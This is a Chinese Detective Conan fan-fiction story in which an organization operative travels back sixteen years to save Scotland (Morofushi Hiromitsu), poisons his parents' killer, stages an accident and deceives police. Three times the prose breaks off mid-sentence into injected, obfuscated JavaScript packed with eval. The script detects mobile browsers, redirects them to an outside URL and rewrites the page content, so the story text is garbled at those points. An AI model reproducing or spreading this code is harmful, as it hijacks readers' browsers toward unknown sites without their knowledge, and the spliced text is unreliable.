《[柯同]爱他就要当他妈！》 1. 背叛的舞台 夜色被疾驰的车身撕裂，残留的血腥味消失在高速路上。 流川玄奈实在闷得慌，她放下手机，目光投向驾驶座上的金发男人，没话找话地开口：“你今天出任务时，似乎心不在焉。” 她靠着敞开的车窗，黑色长发被利落地盘起，混血的面孔在昏暗中显得冷冽，那是张毫无情绪的侧脸。 代号为波本的男人用余光瞥了她一眼，心中鄙夷，单论容貌，她的确是个无可挑剔的美人。只是这女人一贯冷漠，杀起人来从不手软。 “波本”，真实身份为公安卧底的降谷零深吸了口气，随即压下心头的烦恶与不安，冷冷回道：“这话原样奉还给你——你今天的动作未免也太拖泥带水了吧？索泰尔纳。” 索泰尔纳，是流川玄奈在组织里的代号。 不同于降谷零，她是自愿加入某个在灰色地带活动的组织，明面上以私家侦探的身份游走于那些豪门家庭纠纷、遗产继承的事件，借机为组织收集情报，谋取利益，偶尔也需要处理些人命官司。 波本此刻的话对于流川玄奈来说，完全是在污蔑。她虽然并不喜欢这份工作，但自认为很有职业操守，平日里工作还是很有效率的。 今天是例外。 她将原因坦白：“这几天都没见到苏格兰。” 降谷零微微一顿：“你很在意他？” “嗯，毕竟这几天都在代他出任务——啊，琴酒的邮件。” 降谷零迅速抽出手将手机收入怀中，不动声色地攻击着：“我自己看就行——你什么时候多了检视他人私物的癖好？” 和以往不同，这番理由充分的指责并没有得到女人的回应。 降谷零心头一紧，侧目看去，只见那个向来波澜不惊的索泰尔纳此刻面上血色全无，下唇被咬得发白。显然是令人震惊的消息……不祥的预感裹着寒意，瞬间攥紧了他的心脏。 流川玄奈在下一瞬还是惊讶出声：“苏格兰是卧底？找到他逃跑的方向了？！怎么会——” 怎么会这样，他怎么会暴露？！ 恐慌与担忧一并翻涌，流川玄奈停不住地去想那家伙的现状。 是的，流川玄奈和他交往密切，猜到过他是卧底， 流川玄奈喜欢的就是身为卧底的苏格兰。 ……绝不能把这些情绪表露出来，尤其在急于铲除叛徒的波本面前。 几乎是本能地，她扯出一个冷笑：“我想说的是，怎么会是苏格兰？琴酒他们糊涂了吧？按这个标准，第一个该被清理的恐怕是他琴酒自己才对吧？” 她习惯用虚张声势来掩藏不安。 回应她的是一片死寂，波本罕见地没有反驳，他将油门一脚踩到底，车速在沉默中不断攀升，车上的俩人只希望能再快一些。 波本大概只是想要亲手抓住卧底吧，流川玄奈厌恶地想着，下一瞬，被惯性狠狠掼在椅背上，头脑一片轰鸣间，就看波本在车还没停稳的时候就冲了出去。 冷静。流川玄奈掐住手心。 她也很想不管不顾地冲上去。但上去的结果，大概率是二对二。更大概率是，在她到之前一切就已经结束。 除了波本的车，旁边还有一辆——是黑麦威士忌的。 这栋楼她从来没来过，她不知道苏格兰会往哪里跑，想接应都无从下手。 该怎么做？ 无力感，像是将人淹没的寒潮一样。她为什么迟迟没做决定？为什么苏格兰会突然暴露？冷静—— 赌一把。 流川玄奈猛地掀开后备箱，摸出一个不起眼的小药盒， 她不是研究人员，这盒药是偷的。 她将药物利落地塞进口外套内袋，随即拿出一柄被绒布包裹的短管□□。 “咔嚓”，上膛的声音让人神经紧绷， 紧接着，枪声炸响——不是来自她手中，而是从天台传来。 沉闷、决绝。那声音划破夜空，惊起一片飞鸟。流川玄奈整个人也僵在原地，握着枪的手止不住发抖。一瞬间，好像世界上所有的声音都随着那个人彻底消失……猜到的事实犹如子弹打在胸口。 流川玄奈麻木地将枪收好，正要动身，被突然赶来的同事拦住。 “索泰尔纳，你怎么在这？”粗犷的男声自身后响起。来人人一身黑色大衣，戴着同色圆顶帽，是伏特加。他一定是跟着那个人来的。 琴酒的冷笑声比以往任何时候更让人作呕：“看来我们还是来迟了。猜猜看，最后得手的是谁 ？” 背对着这两人，流川玄奈掩饰着情绪，极力像以往一样：“我和波本刚到，黑麦的车就在那里。” 琴酒向前踱了一步：“比起死掉的老鼠，我更在意的是他身上的情报，我们在日本警方的同伴可是为此费了不少力气……” 银色的长发在微弱光线下掠过寒光，琴酒的目光划过她的脸，带着威压的审视她所有的情绪。 “……索尔，你的表情很有趣，”他逼近一步，被压低的声音带着观赏戏剧般的玩味，琴酒像是看到什么好笑的东西，不屑地嘲讽道：“你居然在哭啊。” 失控的泪水怎么也停不下来。 “看来朗姆说得没错，你对那只老鼠还真是——”琴酒的话音骤断，“你干什么！” 惊叫取代了嘲讽。流川玄奈猝然抬臂，枪口已对准琴酒探向腰间的手。 “索尔姐！你干什么！住手啊！” 结束。 琴酒闷哼一声失去意识。这么近的距离下，哪怕有防弹衣也不一定能活。她将枪抵在重伤的琴酒身后，接着将目光对准惊慌的伏特加。 “把枪和箱子给我，立刻。” 伏特加颤抖着交出东西，流川玄奈用那把手枪击穿他的膝盖，随即拎起箱子，再没有看他们一眼，转身冲向废弃大楼。 刚才的画面缠绕在心头，对同僚开枪——她是疯了吧？流川玄奈自嘲地想，接下来要是失败了，此前在组织积累的一切都将化为泡影……这些跟苏格兰比起来不算什么。 脚步声在空旷的楼梯间里重重回荡，流川玄奈拿出手机，手指在屏幕上飞快移动，发出的简讯——果然没有回应。 已经没有任何争斗的声音了。 此刻的寂静让她喘不过气，吞没一切的悲伤下，不安反而像潮水般退去，仅存的异物是荒唐、微末的期待。 ……还有什么好期待的？期待黑麦和波本也是卧底？刚才的一切不过是他们联手苏格兰做的一场戏？ 怎么可能。 天台上风势猛烈，那两人在昏暗的光线下对峙。他们到底在扮演什么角色，对流川玄奈来说并不重要。 苏格兰倒在那里。 流川玄奈目不斜视地从黑麦威士忌，也就是赤井秀一身后走过。 赤井秀一的目光扫过她，索泰尔纳，组织的情报要员，比他和波本苏格兰要更早进入组织，为那位大人窃取财产、搜寻秘藏，是彻头彻尾的组织爪牙。 他心绪沉闷，却不得不维持着猎犬处决猎物后应有的淡漠：“你来迟了。” 流川玄奈没有回应，径直伸出手触向苏格兰颈侧。 平静。 赤井秀一耸了耸肩，无奈道：“肉眼可见，这个叛徒已经死了。” 夜色掩盖着他并不好看的脸色，他对于苏格兰的死亡也很难过。 流川玄奈却突然道：“给我。” 赤井秀一一顿，随即明白她的意思。这两人来的太快，他没有时间处理那部手机——那部属于苏格兰、屏幕已被子弹击穿、染着血的手机被流川玄奈快速拿走查看。 正中间 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17199221|197161||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有子弹大小的窟窿——是自杀。生命最后还想着毁掉手机，保护其他人…… 真不愧是苏格兰。 流川玄奈头也不回地把手机递给身后另一侧的降谷零。 降谷零还没看，目光已被她的动作夺去：“你在干什么？！” 流川玄奈已经掰开怀中的药盒，将一枚颜色诡异的胶囊塞进苏格兰口中。 “药物实验。”她声音平静，手上的动作没有停下。 “停手，索泰尔纳！”降谷零霍然起身，将枪口对向她。 这个女人的举动令人难以忍受——她绝对不是研究人员。降谷零目光严肃：“我怀疑你是苏格兰的同伙。” 他当然知道，hiro和索泰尔纳虽然做过搭档，但过程很不愉快，算得上势同水火——但他也可以强行安上另一种亲密关系！换言之，现在，身为组织成员的他也有了开枪的理由。 流川玄奈无暇理会，她只关心苏格兰。 逆转时间，起死回生的药物。虽是如此描述，但是已经逝去的人，真的可以吸收药物吗？ 浸湿指尖的血冷得吓人，苏格兰的生命已经随着夜风消失。流川玄奈微微偏头，将耳朵贴近他胸膛那个狰狞的伤口旁，试图听到什么。 ……一定很痛吧。 她本来想过段时间再把这些药物资料给苏格兰的，没有想到现在派上了用场： 她在路上已经吞下了作为链接端的A药。现在，只要让作为“坐标”的B药进入死者的循环系统，按她推测的，这样就可以链接到对方生前的某个时间点……具体条件不完整，原理不清楚，方式不明确，成功率未知。 药物、理论都源于组织那些，她所深恶痛绝的实验，但现在能够救人的也只有那些实验。 时间一秒秒流逝……毫无反应。 …… 是剂量不够？还是“链接”本身需要更多代价？ 没有时间了。 她将药盒中剩余的药液尽数倒进自己口中。 灼烧感撕裂喉咙——比刚认识时苏格兰骗她喝的怪味味增汤难喝一百倍。 这家伙欠她太多了。 意识开始涣散。枪声响起，子弹擦过身侧。 流川玄奈期待着奇迹。 …… 短暂的黑暗，失重，随即是猛烈刺眼的晨光。 流川玄奈慢慢睁开眼。 她一身狼狈地站在街上。眼前这栋楼……外墙的斑驳不见了，破碎的窗户完好如初。它看起来几乎崭新。 如果先前的推理合理，实验数据没有错，那么，她应该是穿越到五十分钟前。 可是现在的天气——是回到五小时前吗？ 她下意识去摸手机，胃里突然一阵翻涌，逼得她扶住墙开始干呕……呕吐物只是些中午和波本吃的垃圾洋人饭，那些诡异颜色的药物已经无迹可寻。 “大姐姐，你——没事吧？” 一个小心翼翼的声音从身后传来。 流川玄奈回头，她向来不喜欢小孩子，也很少见过会这么好心的小孩子。 那是个背着书包的小学生，黑色直发，个子比旁边的邮筒还矮一截，大概三四年级，神色虽然怯弱又让人感到温柔，大概是因为那双让人眼熟的蓝灰色眼睛吧， 那是双和她思念的人一模一样的眼睛。 男孩似乎也被她直直的目光看得有些无措，也许是她此刻的样子太过狼狈，他还是停下脚步问道：“请问，你为什么这样看着我，你认识我吗？” 怎么可能不认识？ 流川玄奈像被钉在原地，所有复杂的情绪堵在喉间。现在该如何定义自己的存在？如何回答这个问题？疑问太多了……她抿了抿唇，道， “……是家人。” 未来的家人。 2. 重逢于十六年前 这时，另一个金发深肤的男孩也走了过来，他好奇地问：“hiro，你认识这个阿姨吗？” 诸伏景光摇了摇头，不说话的样子更像苏格兰了。不会错的，真相不言自明。大概是药物用量过多，穿越的时间跨度被拉长，竟然直接到了苏格兰的小学时代。 流川玄奈迅速在脑中编排一番，笑着说：“我是这孩子的远房亲戚。他叫——诸伏景光——对吧？” 真是个特别的名字。 方才还算和善的金发小男孩忽然一脸警惕，压低声音同诸伏景光交谈道：“hiro，她明显是看着你胸前的名牌念出来的吧！连‘光’的读音都念错了！最近这附近坏人很多，我们还是先走吧。” 这番交谈，流川玄奈可是一字不落地听见了。她无奈地回顾自己的着装：现在是秋天，自己穿的风衣并没有什么好奇怪的。难道是颜色？垃圾组织的黑色工作装又在坑害她。 还有光的发音，她刚刚看到名牌上这个‘光’字还挺激动的，毕竟……苏格兰的假名也有这个字，她很喜欢称呼他为“hikaru”，甚至猜想这会不会和他真名发音相似——果然不对啊。 像是察觉到对方的困惑一样，诸伏景光微笑着解释：“是hiro mitsu（景光）啦，”他顿了顿，目光落在她脸上，语气里带着真挚的关切，“你的脸色很不好……这个给你。” 手帕。 流川玄奈愣了愣，她这才意识到自己脸上估计满是泪痕，弯下身接过：“谢谢。” “你看起来很难过的样子，”诸伏景光没有离开，依然看着她，声音温和，“请问是发生什么事了吗？” 被突然关心，积压的一切情绪瞬间涌了上来，流川玄奈只觉得鼻子一酸，想忍住，却反而再也克制不住。 发生太多事情了：喜欢的人突然死掉，前路未卜，到现在都不知道能不能再见到……在小孩子面前失声痛哭也太难堪了。 幼年体的苏格兰比她想象中意外地好相处，一旁的降谷零也一样，他显然没料到事态会这样发展，被突然大哭的女子搞得手足无措，最后只能匆匆丢下一句：“手帕记得还给 Hiro！……对了，警局就在对面！” 说完，他便一把拉住诸伏景光的手，几乎是逃跑般快步离开了。 幼年体的波本倒是和长大一样让人感到棘手啊。发色肤色太显眼，流川玄奈想不认出来都难。她后知后觉地反应过来，原来波本才是苏格兰的同伙。 那刚才——准确来说是许多年后，知道苏格兰死亡时，波本一定也很悲伤，所以才会不顾一切对“亵渎”逝者的她开枪啊……卧底真的很不容易，同伴死在眼前还要装作若无其事。 等等，既然波本是卧底的话，黑麦威士忌搞不好也是。毕竟黑麦的车停在那里应该有一段时间，而苏格兰是在波本上去后开枪自杀的——他该不会是误判了脚步声，还是…… 现在讨论这些没有意义。她成功了，一切还没有发生。 流川玄奈暗自在心里作结语，手机似乎出了问题无法开机，她没打算去警局，索性先沿着两个男孩上学的方向慢慢走了一段。街角巨大的电子屏幕吸引了她的目光。 是她很熟悉的商业中心，没想到它这么多年前就存在了。电子屏幕上的女性静坐在海风中，棕色长卷发优雅浪漫，她双手轻托脸颊，与镜头对视的眼眸里带着轻柔的笑意。 是藤峰有希子出道即爆红的那部作品， 毫无疑问，流川玄奈回到了十六年前。 —— 十六年前的东京，很不一样。 还未全面推行个人编号系统，户籍管理以纸质文件和地方分散管理为主，存在明显的信息差和滞后性。网络信息更是稀缺，社交媒体未普及，衍生出了各种有意思的问题。 对她这个惯于利用网络伪造信息、获取情报的人来说是很棘手。但有些事情脱离网络，回归原本朴素的调查方法，反而变得简单起来。 想了解苏格兰——那个名为诸伏景光的少年也变得简单。 当然，在此之前，她得先处理掉这个从琴酒手里抢来的累赘。这个密码箱实在沉重，她先前担心是炸弹枪□□类，才从伏特加身上要过来。 正值上学时间，附近十分安静。她轻易找到一栋无人的旧楼，开始尝试各种密码，以她多年来对琴酒的了解——根本不了解，对于答案毫无头绪。 那么，就只能绕过精密的锁具机构，直接对箱体本身进行破坏——流川玄奈用工地没带走的铁锹插入缝隙，再全力下压撬棍，以杠杆原理让锁舌脱扣。和她预料的一样，里面没有什么危险品，不过是两板药物，还有一整箱子的钱。 看样式，全都是十年后会发行的大额纸币。看数目，等那时自己就是富豪了。流川玄奈扯了扯嘴角，这对现在来说，可不就是练*功*券吗。 至于那两版药物，aptx4869，组织里的杀人毒药。据她所知，那个药效发作时间都够对方留下死亡讯息了。 还不如枪呢，她至少可以卖了换钱。 身无分文，今晚在哪里过夜的问题迫在眉睫。此外，如何获得假身份？如何度过接下来的十六年，直到干预苏格兰的死亡——这一切都需要仔细规划。 流川玄奈就地开始分析， 对于这个时代，十岁的不同名的自己，以及尚且活着的血亲。出于多种原因，她并不想也不能接触。再说，这个药效到底是否允许她这样做，是否允许两个本质上一样的个体碰面——她不知道。 说到药效……流川玄奈不想去考虑药效能持续多久，也就是自己还能在这个时代停留多久的事。潜意识里有一种近乎盲目的确信，仿佛她会一直留在这里。但为防万一，她决定先回一趟“家”。 一小时后，她乘车抵达米花町的流川宅，熟练地从后院翻墙而入——她很清楚，接下来几年除了定期的保洁和闯空门的家伙以外，不会有任何人到来。她的父母长年在海外为那位先生办事，此时的“她”正就读于一处寄宿学校。 流川玄奈找到自己房间里的保险箱，手套都不用戴，直接输入密码，她将自己身上那些“钱”同当下可流通的现金交换。如果顺利的话，她以后说不定还会跑回来置换回来的。 钱是最好替换的，其他东西都不行……想到自己来这里的目的，流川玄奈顺势抽出一张“□□”，在上面隐晦地写些关于苏格兰暴露的关键信息，再将其塞回最底层。 未来的自己会在苏格兰出事前打开这个保险箱，或许这些信息就足以改变一切。 不过，时间悖论的问题连组织那些研究人员都说不清楚。而流川玄奈做完这一切后，再次回顾自己的记忆，并没有任何变化——这件事暂且放到一边。 她研究了一会，用电脑接上电话线，总算艰难地连上网。 诸伏景光一家的案件并不难查……地点、长野县民家、事件分类、惨杀、时间、四年前，也就是那孩子七岁时。 受害者是一对夫妇，目前状况是仍未解决。 只是这些信息。 诸伏景光在那之后就患上了失语症和轻度的失忆，案件线索稀少，凶手至今逍遥法外……他会当警察，会不会也是因为这起案件？ 流川玄奈继续向下滚动页面。诸伏景光与他当时读初中的哥哥在案发后被分开分别送往长野与东京的亲戚家收养……她能看到的资料有限，而要忙的还有很多。她想在苏格兰放学前处理完。 她登上公车，窗外复古的街景缓慢流淌，不由得感慨十六年前的这座城市对她来说多么陌生，路线布局全然不同，找到正确的地点就要花上大把时间。 最终目的地是一栋坐落于杯户町，有着古典东方建筑风格的宅院，这里便是目前收养诸伏景光的亲戚家。流川玄奈抵达时，正巧撞见屋主那对夫妻在门前与邻居交谈。她有心偷听，不过是在商量解决养狗造成的一些邻里矛盾。 当然，这对夫妻看起来相当温和，也很有教养，看起来值得信任。嗯，流川玄奈不免想到自己的父母，他们对外也是如此。 不过，如果他们对诸伏景光真的很好，诸伏景光不应该到现在都还有后遗症，也不会走上苏格兰的那条路才对。她几乎下意识地对这对陌生夫妇苛刻起来——但是，流川玄奈很快警醒过来，人家能提供这样一个稳定、体面的环境已属难得，况且他们还有自己的孩子。这对苏格兰来说已经是很好的选择了。 至于更好的选择——不如，由她来抚养幼年的苏格兰？ 她读过心理学，深知环境对创伤儿童的重要性，失语失忆也是，需要专业的手段治疗，与其让诸伏景光继续呆在这个未知的家庭，不如由她——不行，仔细想想，这念头……是不是有点太变态了？！ “欸嘿嘿嘿嘿。” 就和她背后这个人的声音一样变态啊。 她转过身，只见一个四十多岁的中年男子戴着黑色鸭舌帽，眯着眼睛，正在她身后不远处发出古怪的笑声。 难怪先前诸伏景光上学时一路上频频回头。她的跟踪很隐蔽。显然，答案是这家伙。他估计在长期跟踪诸伏景光。 流川玄奈不会放任这样的威胁存在，她径直走了过去：“这位大叔，你是干洗店的员工吗？” “啊，你怎么知道的？”外守一明显一惊，防备地看着突然过来搭话的陌生女子，他今天并没穿制服，难道是老主顾？这么有特点的人他不应该毫无印象啊？ 流川玄奈心里得意，其实只是简单的推理，线 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17199222|197161||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 索无非就是手上的茧子，附近的地点，可能的路线，鞋子上的渍痕，这辆车车型所能匹配的职业，以及写着外字的帽子。 接下来才是难题。 流川玄奈没有回答，反而追问道：“你是在找什么人，对吧？” 是什么人呢？ 流川玄奈当然不知道，但她懂得如何表演，认真冷冽的外表，疏离平静的语调极具欺骗性。有着这样的皮囊，谁能想到她是个骗子？ “我这里，可能有些你感兴趣的线索。麻烦带我去你的店里一趟。”她语气平淡，说出的话对于苦寻女儿多年的外守一来说，是无法拒绝的诱惑。 外守一眼神锐利地扫过，他的女儿，外守有里在四年前被诸伏夫妻藏起来，他把那对夫妻杀了都没有问出下落，而这个女人，和他一样对诸伏家那小儿子很在意，说不定真的知道什么！ 如果提出别的要求他还会警觉，但去他的店铺——优势在他。那间店就在附近。 店铺门面上贴着各种广告，这种样式在十六年后早就看不见了，流川玄奈多打量了几眼：“你还兼职修理电器？” “我之前在工科大学读书。” 流川玄奈垂眸，难怪是那样的茧子，嗯，搞不好这里还有炸弹。 人已经带到自己的地盘，外守一也没什么耐心：“不要磨蹭了，你到底有什么线索？” 流川玄奈也懒于演戏，抬起眼，平静地问道：“你是杀人犯吧？” 外守一像是被刺痛般陡然拔高音量：“别开玩笑了！我只是想找到我的女儿！” 原来谜底是女儿啊。 原来这种疯子杀人犯也会羞愧地否认罪行啊， 流川玄奈继续追问：“那你认为，她和诸伏家的小孩是什么关系？” 外守一听她知道这么多，误以为她是警方的人，索性心一横，直接放下狠话：“一定是诸伏家的人借着生病死掉的借口，把我的有里给藏了起来！”他一只手死死揣在口袋里，身体微微前倾，压低的声音里充满威胁，“你们警方来找我，一定是有线索，最好立刻把我的有里还给我——否则，我就把整条街都炸了！” 流川玄奈一愣，她还是第一次被误会成警察呢。她回过神，视线落在外守一那只紧揣在口袋里、显然握着什么的手上。 好棘手。 如果是苏格兰，他会怎么做？ 显而易见，流川玄奈不擅长即兴发挥，她喜欢重复利用，即回忆过去记忆中有没有可以照搬的台词与手法。 答案来得及时，流川玄奈笃定地开口：“有里……是我见过最温柔的孩子。”毕竟是能让父亲如此念念不忘的女儿，她的推测很合理。 “这一点，我当然知道啊！所以我的有里才会被人抢走！”外守一情绪激动地打断，他握遥控器的手在剧烈颤抖。 流川玄奈根据已有的信息，继续编织着善意的谎话：“有里当时已经没什么力气了，但她喊的话是那么清晰，我们在场所有人都听到了。” “胡说八道，我的女儿根本就没有——” “她喊的是爸爸。” 外守一的呼吸骤然一滞，瞪大的眼睛里有什么东西在松动。 “她说这次回家后，一定要和爸爸——” “别说了！”外守一整个人的防线瞬间崩塌，泣不成声，“有里……我的有里啊……！” 他现在破绽百出，想拿到遥控器简直轻而易举，毕竟流川玄奈今日的演技无可挑剔——她是按着记忆中苏格兰一比一复刻的。 【索尔，你是我见过最温柔的女孩子】 【你母亲最后见到的是你，而不是那些无意义的实验，这就足够了。】 ……她记得当时苏格兰的神情，语气、停顿，乃至那份刻意收敛的情绪，与其说是苏格兰，不如说是终于和她一起卸下伪装的诸伏景光。 好怀念啊。 心里回忆着再也无法重复经历的往事，流川玄奈顺利抢到控制器，沉浸在崩溃中的外守一刚想夺回—— “总之，你的女儿并不是在陌生和恐惧中离开的。” 流川玄奈的声音从他身后传来，她边抬手边安抚着：“她是一边想念你，一边在属于家、属于爸爸的气息里睡着的。” 话音与手刀同时落下，外守一闷哼一声，瘫软在地，脸上泪痕交错，嘴角仍然带着笑容， 脱离了危险，流川玄奈搜查着房间的信息……该说她是运气好吗？眼前这个人，果然就是她今天上网搜到的案件凶手。害苏格兰父母双亡的罪魁祸首。 多讽刺啊。杀人犯能做着美梦，受害者却是夜不能寐……确认这点后，流川玄奈不再停留，伸手探入怀中， APTX-4869，是时候派上用场了。 3. 蹩脚的谎言 对于APTX-4869，流川玄奈收回之前的轻藐， 这种不会留下任何痕迹的毒药，在用到时堪称完美。 流川玄奈从外守一的店里搜出能用的工具后，驱车前往荒野。车在一块不规整的巨石旁停下。接着，她将外守一的尸体从后座拖出，安置在驾驶座上。 接下来，只需点火。 随后，她跑到最近的电话亭报警。外套一脱，穿越前被波本折腾的伤口撕开完全够用。而等待警察赶来的时间，完全足够她将剧本打磨周全。 苏格兰也说过，她临场发挥水平太差的事，她临场发挥的水平糟糕透顶。那么，就把所有可能性都预先编排好！没什么需要担心的。 半个小时后，现场， 伤口已被随行警员简单处理，肩上还多了一条厚实的毛毯。流川玄奈刻意蜷着身体，呆呆地点头，一副惊魂未定、神思恍惚的模样，谁看了都得说句倒霉蛋。 负责此案的佐藤正义警部听了下属的报告，已经将案件信息全捋清楚，这会正向受害者进行最后的确认： “也就是说，流川小姐，外守一听到你在找诸伏家的亲戚后，就用洗衣店的优惠活动把你带到了店里？” “对，他问我有没有见过‘有里’，我的日语不是很好，听成了别的词。” 一旁，时年二十五岁的巡查部长，他此时尚且有着一头戴着帽子也遮不住的浓密黑发，目暮十三警官瞪大了眼，插话道：“流川小姐是外国人？可你的日语听起来非常流利！” “谢谢夸奖，事实上我刚刚回来日本没多久，可以继续聊案件吗？” 佐藤正义笑了笑，瞥了目暮十三一眼，态度和煦地转回正题：“当然。那么之后，他为什么又把你带去了郊区？” “我在洗衣店里发现了炸弹，”流川玄奈作出回忆的样子，“他说什么我和诸伏夫妇一样讨厌又欺骗他，又知道了他的秘密，要杀我灭口，直接打晕了我——好在那辆车突然出了什么问题，我在车子烧起来不久后就醒了，拼命终于逃了出来。” 目暮十三从一旁接过最新的报告，向佐藤正义低声道：“情况基本吻合。流川小姐报警很及时，尸体焚烧程度不深。初步勘验，死者除了颈后一处符合撞击的挫伤外，体内未检出常见毒物或致死性疾病迹象，是意外事故导致的伤亡。” 佐藤正义也点头，关切道：“我们知道了，总之，流川小姐，这些天请一定要好好休息——真的不用去医院吗？” 没身份证明，没有医保去什么医院。流川玄奈也很无奈地摇头：“不用了。我想先回去休息。身份证明的文件我没带在身上，过几天带来补全，可以吗？” “没问题。”佐藤正义爽快应下，又追问道，“另外，还想请你补充一下，你具体是诸伏家哪一方的亲戚？” “不便透露。”她答得迅速而自然。 “诶？” 如何表演欲言又止的尴尬，不愿多提的回避，她从前为组织办事时演过很多遍，用外国人身份的好处就在于可以让听者更快速联想到一系列关键词， 海外收养、私生子、遗弃、遗腹子等等等等。 刚刚走开的目暮十三这时又回来了，他的出现打破了微妙的沉默：“佐藤警部，长野县的鹿野晶次警官到了，从死者家中搜出的物证，基本确认他就是长野县那起悬案的凶手。” 说完，他转向流川玄奈：“抱歉，流川小姐，恐怕还得请您再留一会儿，除了确认长野县的案子，有个人也想见您——他是被外守一残忍杀害的诸伏夫妻的长子，你的亲戚。” 流川玄奈眨了眨眼，这是计划外的情况。好在只是个高中生而已——没给她多少反应的时间，一辆长野县车牌的私家车赶到，下来的两人，一个是面相不善的瘦高警官，另一位，则是穿着高中校服的少年。 他的肤色偏白皙，眼尾天然微微上挑，明明是冷淡严肃的表情，偏偏沉稳的气度却冲淡了锐利，透出一种与他年龄不符的儒雅……俊秀两个字简直是为他量身打造的。 像，太像了。 单看长相的话，十六岁的年龄，比十岁的诸伏景光更接近她所认识的苏格兰。 “请问，”他看向流川玄奈，开口，声音是少年人的清澈，“是我的脸上有什么东西吗？” “你和你——父亲，太像了。” 流川玄奈说着蹩脚的谎言，真情实感的眼泪毫无预兆地再次出现，连她自己都措手不及，更别说诸伏高明了。他很快收敛了讶异，微微放缓声音：“请不必如此。” 被安抚了，她平常绝没有这么爱哭。但是，眼前这张脸，这家伙除了没有胡茬以外也太像了吧？！就好像，死掉的人突然复活安慰自己不要哭什么的，流川玄奈根本无法停止哭泣，只能将脸深深埋进掌心，掩盖此刻的狼狈：“高明，我找你……找得好不容易啊……” 真的好像啊……被泪水浸透、看起来被情绪冲垮的流川玄奈心里，有个想法异常地清晰……她认为自己从来没有过这么坚定的念头： 她一定要‘收养’他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17199223|197161||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 们。 那户普通的人家根本对抗不了外守一那样的罪犯。 诸伏景光的心理创伤，失语、失忆，都需要专业的治疗和家人的陪伴。现在，诸伏景光过于年幼，即使凶手外守一已经死亡，他也难以亲自面对、消化这份恐惧。痛苦的阴影仍会在他心底悄然滋长。 他依然会走向警校，依然会成为苏格兰，为了正义忍受痛苦，坚定地牺牲自我——她不希望他再次成为苏格兰。 她希望诸伏景光能在这样的哥哥的陪伴下度过童年，慢慢成长，她希望诸伏景光可以多一块坚实的情感基石。 真的好想亲眼看看，没有成为苏格兰的诸伏景光是什么样的。 流川玄奈擦掉眼泪，眼前的高中生，这张熟悉又陌生的脸不再激起翻涌的感伤，相反，她的幻想和决心都被激起——她要用案件真相替代恐惧， 再用亲情战胜阴影。 …… 流川玄奈接着哭泣时想出来的这些算盘，诸伏高明当然不知道，他递上手帕，微微蹙起了眉，这位突然冒出来，自称是亲戚的女人实在有太多的疑点。 能而示之不能，用而示之不用。这个女人的表演很真实，但也只是表演而已。 他在跟着鹿野警官来的路上，已经听说了案件的详情。因此，在见到流川玄奈的第一眼就格外留心，注意到她身上的伤口，正常人受着这么多伤口恐怕早就无法行走了。 再者，警方抵达的时刻过于精巧，车辆烧毁，尸体却尚未完全烧尽，她报警的时间太像是知道尸体检查不出什么，特意布局的一样。 此外，从一辆失控燃烧的汽车中独自逃出生天，这位流川小姐，未必只是运气好那么简单。 整个案件中，对他而言，诸如此类的疑点实在太多， 但，唯独她说是他们亲戚的这一点。 “这是我和你父亲的合照。” 诸伏高明接过流川玄奈递来的照片。 那是一种过于平滑的质感，这张照片的材质诸伏高明并没有见过，照片里的背景也像是国外的某处高楼。 因为四年没有见到父亲，诸伏高明自己记忆有些模糊，照片上的男子确实很像。只是，强装作冷酷的表情——诸伏高明从没见过身为小学老师的父亲做出这种表情。 不过，他却能看出，这个男子对着身旁的流川小姐有着特殊的关注，温和、轻微、私人，在整张刻意营造氛围的照片中极其隐蔽，偏偏被诸伏高明一眼看出。 他们应该是认识的。 4. 再顾高明 流川玄奈谢绝了警员帮忙载送的好意，自己坐公车绕到一片略显陈旧的街区，在一家灯火暖昧的爱情旅馆前停下。 她所在的时代，这类场所注重隐私，对身份核查向来宽松，更何况是十六年前。今天白天在遇见外守一前，流川玄奈就以钱包证件失窃为由，额外贴了些钱，成功入住。 不过，身份问题迟早都要解决。她需要一套能够经得起核查的纸质身份。 流川玄奈躺在爱情旅馆柔软的床上休息，回忆着刚穿越时的计划：利用长野县冬季频发的雪崩事故，顶替下落不明的外地登山者。 但因为外守一的案子，她提前遇到了警方和诸伏高明，不得不选择海外归国者这种身份。 算了，一个突然生长在日本，突然冒出来的亲戚难免引人疑窦，还需要想清楚出生地、学校、工作履历，搞定户籍问题等等。但如果她来自海外，这个时代跨国核查可是相当困难的。流川玄奈过去干过不少冒充他人亲戚、搅乱遗产继承的事情，对此轻车熟路。 再说，她在日本认识的基本都是组织那些同事。而对于编造海外身份——十六年后她熟知的那些灰色网络，大部分估计才初露苗头，但有些人可是盘踞日本多年。 